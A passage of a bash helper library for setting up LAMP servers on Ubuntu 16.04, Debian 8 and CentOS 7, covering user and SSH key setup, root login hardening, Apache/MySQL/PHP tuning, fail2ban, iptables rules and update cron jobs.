user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$KEY\" ];\tthen\n echo \"No username and/or public key entered.\"\n return 1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo $2 > /home/$1/.ssh/authorized_keys\n\tchown -R $1:$1 /home/$1/*\n\tchown -R $1:$1 /home/$1/.*\n}\n\nfunction debian8_ssh_disable_root {\n\t# Disables Root SSH Access and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\ yes/PermitRootLogin\\ no/g'' /etc/ssh/sshd_config\n systemctl restart ssh \n}\n\nfunction debian8_secure_apache {\n\t# Updates /etc/apache2/conf-available/security.conf with restrictive settings\n\n\tsed -i -e ''s/\\#ServerSignature\\ Off/ServerSignature\\ Off/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerSignature\\ On/\\#ServerSignature\\ On/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/\\#ServerTokens\\ Minimal/ServerTokens\\ Minimal/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerTokens\\ OS/\\#ServerTokens\\ OS/g'' /etc/apache2/conf-available/security.conf\n}\n\n# System CentOS 7\n#################\n\nfunction centos7_set_hostname {\n\t# Sets hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname undefined\"\n return 1;\n fi\n \n hostnamectl set-hostname $1\n sed -i \"s/localhost/$1/g\" /etc/hosts\n}\n\nfunction centos7_update {\n\t# Full system update\n\n\tyum update -y\n}\n\nfunction centos7_install_epel-release {\n\tyum install epel-release -y\n}\n\nfunction centos7_system_primary_ip {\n # returns the primary IP assigned to eth0\n echo $(ifconfig eth0 | awk -F: ''/inet addr:/ {print $2}'' | awk ''{ print $1 }'')\n}\n\nfunction centos7_get_rdns {\n # calls host on an IP address and returns its reverse dns\n\n if [ ! -e /usr/bin/host ]; then\n aptitude -y install dnsutils > /dev/null\n fi\n echo $(host $1 | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction centos7_get_rdns_primary_ip {\n # returns the reverse dns of the primary IP assigned to this system\n echo $(get_rdns $(system_primary_ip))\n}\n\nfunction centos7_install_additional {\n\t# Installs additional system packages and enabled Mariadb to start on boot.\n\n\tyum install -y fail2ban vim screen\n\tsystemctl enable mariadb\n}\n\nfunction centos7_restart_lamp {\n\tsystemctl restart httpd\n\tsystemctl restart mariadb\n}\n\n# Users CentOS 7\n################\n\nfunction centos7_user_add_sudo {\n\t# Installs Sudo, adds non-root user and adds non-root user to wheel group.\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No new username and/or password entered\"\n return 1;\n fi\n \n yum install -y sudo\n adduser $USERNAME\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG wheel $USERNAME\n}\n\nfunction centos7_key_user {\n\t# Adds public SSH key to non-root user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$KEY\" ]; then\n echo \"No username and/or public key entered.\"\n return 1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo $2 > /home/$1/.ssh/authorized_keys\n\tchown -R $1:$1 /home/$1/*\n\tchown -R $1:$1 /home/$1/.*\n}\n\nfunction centos7_ssh_disable_root {\n\t# Disables root SSH login and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\ yes/PermitRootLogin\\ no/g'' /etc/ssh/sshd_config\n systemctl restart sshd \n}\n\n# MySQL\n#######\n\nfunction ubuntu1604_install_mysql {\n\techo \"mysql-server mysql-server/root_password password $1\" | debconf-set-selections\n\techo \"mysql-server mysql-server/root_password_again password $1\" | debconf-set-selections\n\tapt-get install -y mysql-server\n\tsystemctl enable mysql\n}\n\nfunction debian8_install_mysql {\n\techo \"mysql-server mysql-server/root_password password $1\" | debconf-set-selections\n\techo \"mysql-server mysql-server/root_password_again password $1\" | debconf-set-selections\n\tapt-get install -y mysql-server\n\tsystemctl enable mysql\n}\n\nfunction centos7_install_mysql {\n\tyum install mariadb-server -y\n\tsystemctl enable mariadb\n}\n\nfunction mysql_create_database {\n\t# Creates MySQL Database with user-determined name\n\t\n\tDBPASS=\"$1\"\n\tDBNAME=\"$2\"\n\tif [ ! -n \"$DBPASS\" ] || [ ! -n \"$DBNAME\" ]; then\n\t\techo \"No Database Name and/or MySQL Password entered.\"\n\t\treturn 1;\n\tfi\n\n\techo \"CREATE DATABASE $2;\" | mysql -u root -p$1\n}\n\nfunction mysql_create_user {\n\t# Creates non-root MySQL\n\n\tDBPASS=\"$1\"\n\tUSER=\"$2\"\n\tUSERPASS=\"$3\"\n\tif [ ! -n \"$DBPASS\" ] || [ ! -n \"$USER\" ] || [ ! -n \"$USERPASS\" ]; then\n\t\techo \"MySQL Username, Username Password and MySQL Root Password are Required.\"\n\t\treturn 1;\n\tfi\n\n\techo \"CREATE USER ''$2''@''localhost'' IDENTIFIED BY ''$3'';\" | mysql -u root -p$1\n}\n\nfunction mysql_grant_user {\n\t# Grants privileges for non-root MySQL user on user-defined database.\n\n\tDBPASS=\"$1\"\n\tUSER=\"$2\"\n\tDB=\"$3\"\n\tif [ ! -n \"$DBPASS\" ] || [ ! -n \"$USER\" ] || [ ! -n \"$DB\" ]; then\n\t\techo \"MySQL Username, Database and MySQL Root Password are Required.\"\n\t\treturn 1;\n\tfi\n\n\techo \"GRANT ALL PRIVILEGES ON $3.* TO ''$2''@''localhost'';\" | mysql -u root -p$1\n echo \"FLUSH PRIVILEGES;\" | mysql -u root -p$1\n}\n\nfunction centos7_mysql_setpass {\n\t# Sets root password for MariaDB\n\n\tDBPASS=\"$1\"\n\tif [ ! -n \"$DBPASS\"]; then\n\t\techo \"No Database Password Set\"\n\t\treturn 1;\n\tfi\n\n\techo \"SET PASSWORD FOR ''root''@''localhost'' = PASSWORD(''$1'');\" | mysql -u root\n}\n\nfunction ubuntu1604_mysql_secure_installation {\n\t# Installs expect, runs mysql_secure_installation then uninstall expect \n\n\tapt-get install -y expect\n\tSECURE_MYSQL=$(expect -c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect \\\"Enter current password for root (enter for none):\\\"\n\tsend \\\"$MYSQL\\r\\\"\n\texpect \\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend \\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tapt-get purge -y expect\n}\n\nfunction debian8_mysql_secure_installation {\n\t# Installs expect, runs mysql_secure_installation then uninstall expect \n\n\tapt-get install -y expect\n\tSECURE_MYSQL=$(expect -c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect \\\"Enter current password for root (enter for none):\\\"\n\tsend \\\"$MYSQL\\r\\\"\n\texpect \\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend \\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tapt-get purge -y expect\n}\n\nfunction centos7_mysql_secure_installation {\n\t# Installs expect, runs mysql_secure_installation then uninstall expect \n\n\tyum install -y expect\n\tSECURE_MYSQL=$(expect -c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect \\\"Enter current password for root (enter for none):\\\"\n\tsend \\\"$1\\r\\\"\n\texpect \\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend \\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tyum remove -y expect\n}\n\n# Apache\n########\n\nfunction ubuntu1604_install_apache {\n\tapt-get install -y apache2\n\tsystemctl enable apache2\n}\n\nfunction debian8_install_apache {\n\tapt-get install -y apache2\n\tsystemctl enable apache2\n}\n\nfunction ubuntu1604_apache_create_virtualhost {\n\t# Creates Apache2 VirtualHost for user-defined domain.\n\n\tDOMAIN=\"$1\"\n\tif [ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN Defined.\"\n\t\treturn 1;\n\tfi\n\n\t# Creates webroot directory and log directory\n mkdir -p /var/www/$1/{public_html,logs}\n # Creates VirtualHost file\n touch /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAdmin webmaster@$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerName $1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAlias www.$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" DocumentRoot /var/www/$1/public_html/\" >> /etc/apache2/sites-available/$1.conf\n echo \" ErrorLog /var/www/$1/logs/$1-error.log\" >> /etc/apache2/sites-available/$1.conf\n echo \" CustomLog /var/www/$1/logs/$1-access.log combined\" >> /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n # Enables the VirtualHost\n a2ensite $1.conf\n # Creates temporary index.html file with the FQDN\n \techo \"$1

$1

\" > /var/www/$1/public_html/index.html\n \t# Enables Apache2 to start on boot and restarts Apache2.\n systemctl enable apache2\n systemctl restart apache2\n}\n\nfunction debian8_apache_create_virtualhost {\n\t# Creates Apache2 VirtualHost for user-defined domain.\n\n\tDOMAIN=\"$1\"\n\tif [ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN Defined.\"\n\t\treturn 1;\n\tfi\n\n\t# Creates webroot directory and log directory\n mkdir -p /var/www/$1/{public_html,logs}\n # Creates VirtualHost file\n touch /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAdmin webmaster@$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerName $1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAlias www.$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" DocumentRoot /var/www/$1/public_html/\" >> /etc/apache2/sites-available/$1.conf\n echo \" ErrorLog /var/www/$1/logs/$1-error.log\" >> /etc/apache2/sites-available/$1.conf\n echo \" CustomLog /var/www/$1/logs/$1-access.log combined\" >> /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n # Enables the VirtualHost\n a2ensite $1.conf\n # Creates temporary index.html file with the FQDN\n \techo \"$1

$1

\" > /var/www/$1/public_html/index.html\n \t# Enables Apache2 to start on boot and restarts Apache2.\n systemctl enable apache2\n systemctl restart apache2\n}\n\nfunction ubuntu1604_apache_tune {\n\t# Disables KeepAlive, tunes Apache2 variables in mpm-prefork and switches to mpm-prefork module.\n\n\techo \"\" > /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" StartServers 4\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MinSpareServers 20\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxSpareServers 40\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxRequestWorkers 200\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxConnectionsPerChild 4500\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \"\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\ta2dismod mpm_event\n\ta2enmod mpm_prefork\n}\n\nfunction debian8_apache_tune {\n\t# Disables KeepAlive, tunes Apache2 variables in mpm-prefork and switches to mpm-prefork module.\n\n\techo \"\" > /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" StartServers 4\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MinSpareServers 20\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxSpareServers 40\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxRequestWorkers 200\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxConnectionsPerChild 4500\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \"\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\ta2dismod mpm_event\n\ta2enmod mpm_prefork\n}\n\nfunction centos7_install_apache {\n\tyum install httpd -y\n\tsystemctl enable httpd\n}\n\nfunction centos7_apache_create_virtualhost {\n\t# Creates httpd VirtualHost for user-defined domain.\t\n\n\tDOMAIN=\"$1\"\n\tif [ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN Defined.\"\n\t\treturn 1;\n\tfi\n\n\t# Creates webroot directory and log directory\n\tmkdir -p /var/www/$1/{public_html,logs}\n\t# Creates VirtualHost file\n\ttouch /etc/httpd/conf.d/vhost.conf\n\techo \"NameVirtualHost *:80\" >> /etc/httpd/conf.d/vhost.conf\n\techo \"\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" ServerAdmin webmaster@$1\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" ServerAlias www.$1\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" DocumentRoot /var/www/$1/public_html/\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" ErrorLog /var/www/$1/logs/$1-error.log\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" CustomLog /var/www/$1/logs/$1-access.log combined\" >> /etc/httpd/conf.d/vhost.conf\n\techo \"\" >> /etc/httpd/conf.d/vhost.conf\n\t# Creates temporary index.html file with the FQDN\n\techo \"$1

$1

\" > /var/www/$1/public_html/index.html\n\t# Enables httpd to start on boot and restarts httpd.\n\tsystemctl enable httpd\n\tsystemctl restart httpd\n}\n\nfunction centos7_apache_tune {\n\t# Disables KeepAlive and tunes variables for prefork module.\n\n\techo \"KeepAlive Off\" >> /etc/httpd/conf/httpd.conf\n\techo \"\" >> /etc/httpd/conf/httpd.conf\n\techo \" StartServers 4\" >> /etc/httpd/conf/httpd.conf\n\techo \" MinSpareServers 20\" >> /etc/httpd/conf/httpd.conf\n\techo \" MaxSpareServers 40\" >> /etc/httpd/conf/httpd.conf\n\techo \" MaxClients 200\" >> /etc/httpd/conf/httpd.conf\n\techo \" MaxRequestsPerChild 4500\" >> /etc/httpd/conf/httpd.conf\n\techo \"\" >> /etc/httpd/conf/httpd.conf\n}\n\nfunction ubuntu1604_apache_virtualhost_get_docroot {\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/ {print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\nfunction debian8_apache_virtualhost_get_docroot {\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/ {print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\n# PHP\n#####\n\nfunction ubuntu1604_install_php {\n\tapt-get install -y php7.0 php-pear libapache2-mod-php7.0 php7.0-mysql php7.0-curl php7.0-json php7.0-cgi\n}\n\nfunction debian8_install_php {\n\tapt-get install -y php7.0 php-pear libapache2-mod-php7.0 php7.0-mysql php7.0-curl php7.0-json php7.0-cgi\n}\n\nfunction centos7_install_php {\n\tyum install php php-pear php-mysql -y\n}\n\nfunction ubuntu1604_php_tune {\n\t# Tunes PHP for optimal values and enabled logging.\n\n\tsed -i -e ''s/max_input_time\\ \\=\\ 60/max_input_time\\ \\=\\ 30/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/error_reporting\\ \\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\ \\=\\ E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\ \\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php/7.0/apache2/php.ini\n\tmkdir /var/log/php\n\tchown www-data /var/log/php\n\tsystemctl restart apache2\n}\n\nfunction debian8_php_tune {\n\t# Tunes PHP for optimal values and enabled logging.\n\n\tsed -i -e ''s/max_input_time\\ \\=\\ 60/max_input_time\\ \\=\\ 30/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/error_reporting\\ \\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\ \\=\\ E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\ \\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php/7.0/apache2/php.ini\n\tmkdir /var/log/php\n\tchown www-data /var/log/php\n\tsystemctl restart apache2\n}\n\nfunction centos7_php_tune {\n\t# Tunes PHP for optimal values and enabled logging.\n\n\tsed -i -e ''s/max_input_time\\ \\=\\ 60/max_input_time\\ \\=\\ 30/g'' /etc/php.ini\n\tsed -i -e ''s/error_reporting\\ \\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\ \\=\\ E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g'' /etc/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\ \\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php.ini\n\tmkdir /var/log/php\n\tchown apache /var/log/php\n\tsystemctl reload httpd\n}\n\n# Fail2Ban\n##########\n\nfunction ubuntu1604_install_fail2ban {\n\tapt-get install -y fail2ban\n\tsystemctl enable fail2ban\n\tsystemctl start fail2ban\n}\n\nfunction debian8_install_fail2ban {\n\tapt-get install -y fail2ban\n\tsystemctl enable fail2ban\n\tsystemctl start fail2ban\n}\n\nfunction centos7_install_fail2ban {\n\tyum install fail2ban -y\n\tsystemctl enable fail2ban\n\tsystemctl start fail2ban\n}\n\n# iptables\n##########\n\nfunction ubuntu1604_iptables_lamp {\n\t# Configures optimal iptables/ip6tables rules for a LAMP stack.\n\t# Installs/configures iptables-persistent.\n\n\tiptables -A INPUT -i lo -j ACCEPT\n\tiptables -A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables -A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tiptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"iptables_INPUT_denied: \" --log-level 7\n\tiptables -A INPUT -j REJECT\n\tiptables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"iptables_FORWARD_denied: \" --log-level 7\n\tiptables -A FORWARD -j REJECT\n\tip6tables -A INPUT -i lo -j ACCEPT\n\tip6tables -A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables -A INPUT -p icmpv6 -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tip6tables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_INPUT_denied: \" --log-level 7\n\tip6tables -A INPUT -j REJECT\n\tip6tables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_FORWARD_denied: \" --log-level 7\n\tip6tables -A FORWARD -j REJECT\n\techo \"iptables-persistent iptables-persistent/autosave_v4 boolean true\" | debconf-set-selections\n\techo \"iptables-persistent iptables-persistent/autosave_v6 boolean true\" | debconf-set-selections\n\tapt-get install -y iptables-persistent\n}\n\nfunction debian8_iptables_lamp {\n\t# Configures optimal iptables/ip6tables rules for a LAMP stack.\n\t# Installs/configures iptables-persistent.\n\n\tiptables -A INPUT -i lo -j ACCEPT\n\tiptables -A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables -A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tiptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"iptables_INPUT_denied: \" --log-level 7\n\tiptables -A INPUT -j REJECT\n\tiptables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"iptables_FORWARD_denied: \" --log-level 7\n\tiptables -A FORWARD -j REJECT\n\tip6tables -A INPUT -i lo -j ACCEPT\n\tip6tables -A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables -A INPUT -p icmpv6 -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tip6tables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_INPUT_denied: \" --log-level 7\n\tip6tables -A INPUT -j REJECT\n\tip6tables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_FORWARD_denied: \" --log-level 7\n\tip6tables -A FORWARD -j REJECT\n\techo \"iptables-persistent iptables-persistent/autosave_v4 boolean true\" | debconf-set-selections\n\techo \"iptables-persistent iptables-persistent/autosave_v6 boolean true\" | debconf-set-selections\n\tapt-get install -y iptables-persistent\n}\n\nfunction centos7_iptables_lamp {\n\t# Stops and Disables firewalld.\n\t# Installs iptables-services, configures optimal iptables/ip6tables rules for a LAMP stack.\n\t# Saves iptables/ip6tables rules, enables iptables-services to start on boot and starts iptables-services.\n\n\tsystemctl stop firewalld.service && systemctl disable firewalld.service\n\tyum install -y iptables-services\n\tiptables -A INPUT -i lo -j ACCEPT\n\tiptables -A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables -A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tiptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"iptables_INPUT_denied: \" --log-level 7\n\tiptables -A INPUT -j REJECT\n\tiptables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"iptables_FORWARD_denied: \" --log-level 7\n\tiptables -A FORWARD -j REJECT\n\tip6tables -A INPUT -i lo -j ACCEPT\n\tip6tables -A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables -A INPUT -p icmpv6 -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tip6tables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_INPUT_denied: \" --log-level 7\n\tip6tables -A INPUT -j REJECT\n\tip6tables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_FORWARD_denied: \" --log-level 7\n\tip6tables -A FORWARD -j REJECT\n\tservice iptables save\n\tservice ip6tables save\n\tsystemctl enable iptables && systemctl enable ip6tables\n\tsystemctl start iptables && systemctl start ip6tables\n}\n\n# Crons\n#######\n\nfunction ubuntu1604_update_cron {\n\t# Configures a cron job to update the system every day at 1AM. \n\n\techo \"00 1 * * * apt-get update && apt-get upgrade -y\" > /root/.cron\n\tcrontab -u root /root/.cron\n}\n\nfunction debian8_update_cron {\n\t# Configures a cron job to update the system every day at 1AM. \n\n\techo \"00 1 * * * apt-get update && apt-get upgrade -y\" > /root/.cron\n\tcrontab -u root /root/.cron\n}\n\nfunction centos7_update_cron {\n\t# Configures a cron job to update the system every day at 1AM. \n\n\techo \"00 1 * * * yum update -y\" > /root/.cron\n\tcrontab -u root /root/.cron\n}\n\n\n#########################\n# Deprecated Ubuntu 12.04\n#########################\n\nfunction system_update {\n apt-get update\n apt-get -y install aptitude\n aptitude -y full-upgrade\n}\n\nfunction system_primary_ip {\n # returns the primary IP assigned to eth0\n echo $(ifconfig eth0 | awk -F: ''/inet addr:/ {print $2}'' | awk ''{ print $1 }'')\n}\n\nfunction get_rdns {\n # calls host on an IP address and returns its reverse dns\n\n if [ ! -e /usr/bin/host ]; then\n aptitude -y install dnsutils > /dev/null\n fi\n echo $(host $1 | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction get_rdns_primary_ip {\n # returns the reverse dns of the primary IP assigned to this system\n echo $(get_rdns $(system_primary_ip))\n}\n\nfunction system_set_hostname {\n # $1 - The hostname to define\n HOSTNAME=\"$1\"\n \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname undefined\"\n return 1;\n fi\n \n echo \"$HOSTNAME\" > /etc/hostname\n hostname -F /etc/hostname\n}\n\nfunction system_add_host_entry {\n # $1 - The IP address to set a hosts entry for\n # $2 - The FQDN to set to the IP\n IPADDR=\"$1\"\n FQDN=\"$2\"\n\n if [ -z \"$IPADDR\" -o -z \"$FQDN\" ]; then\n echo \"IP address and/or FQDN Undefined\"\n return 1;\n fi\n \n echo $IPADDR $FQDN >> /etc/hosts\n}\n\n\n###########################################################\n# Users and Authentication\n###########################################################\n\nfunction user_add_sudo {\n # Installs sudo if needed and creates a user in the sudo group.\n #\n # $1 - Required - username\n # $2 - Required - password\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No new username and/or password entered\"\n return 1;\n fi\n \n aptitude -y install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction user_add_pubkey {\n # Adds the users public key to authorized_keys for the specified user. Make sure you wrap your input variables in double quotes, or the key may not load properly.\n #\n #\n # $1 - Required - username\n # $2 - Required - public key\n USERNAME=\"$1\"\n USERPUBKEY=\"$2\"\n \n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPUBKEY\" ]; then\n echo \"Must provide a username and the location of a pubkey\"\n return 1;\n fi\n \n if [ \"$USERNAME\" == \"root\" ]; then\n mkdir /root/.ssh\n echo \"$USERPUBKEY\" >> /root/.ssh/authorized_keys\n return 1;\n fi\n \n mkdir -p /home/$USERNAME/.ssh\n echo \"$USERPUBKEY\" >> /home/$USERNAME/.ssh/authorized_keys\n chown -R \"$USERNAME\":\"$USERNAME\" /home/$USERNAME/.ssh\n}\n\nfunction ssh_disable_root {\n # Disables root SSH access.\n sed -i ''s/PermitRootLogin yes/PermitRootLogin no/'' /etc/ssh/sshd_config\n touch /tmp/restart-ssh\n \n}\n\n###########################################################\n# Postfix\n###########################################################\n\nfunction postfix_install_loopback_only {\n # Installs postfix and configure to listen only on the local interface. Also\n # allows for local mail delivery\n\n echo \"postfix postfix/main_mailer_type select Internet Site\" | debconf-set-selections\n echo \"postfix postfix/mailname string localhost\" | debconf-set-selections\n echo \"postfix postfix/destinations string localhost.localdomain, localhost\" | debconf-set-selections\n aptitude -y install postfix\n /usr/sbin/postconf -e \"inet_interfaces = loopback-only\"\n #/usr/sbin/postconf -e \"local_transport = error:local delivery is disabled\"\n\n touch /tmp/restart-postfix\n}\n\n\n###########################################################\n# Apache\n###########################################################\n\nfunction apache_install {\n # installs the system default apache2 MPM\n aptitude -y install apache2\n\n a2dissite default # disable the interfering default virtualhost\n\n # clean up, or add the NameVirtualHost line to ports.conf\n sed -i -e ''s/^NameVirtualHost \\*$/NameVirtualHost *:80/'' /etc/apache2/ports.conf\n if ! grep -q NameVirtualHost /etc/apache2/ports.conf; then\n echo ''NameVirtualHost *:80'' > /etc/apache2/ports.conf.tmp\n cat /etc/apache2/ports.conf >> /etc/apache2/ports.conf.tmp\n mv -f /etc/apache2/ports.conf.tmp /etc/apache2/ports.conf\n fi\n}\n\nfunction apache_tune {\n # Tunes Apache''s memory to use the percentage of RAM you specify, defaulting to 40%\n\n # $1 - the percent 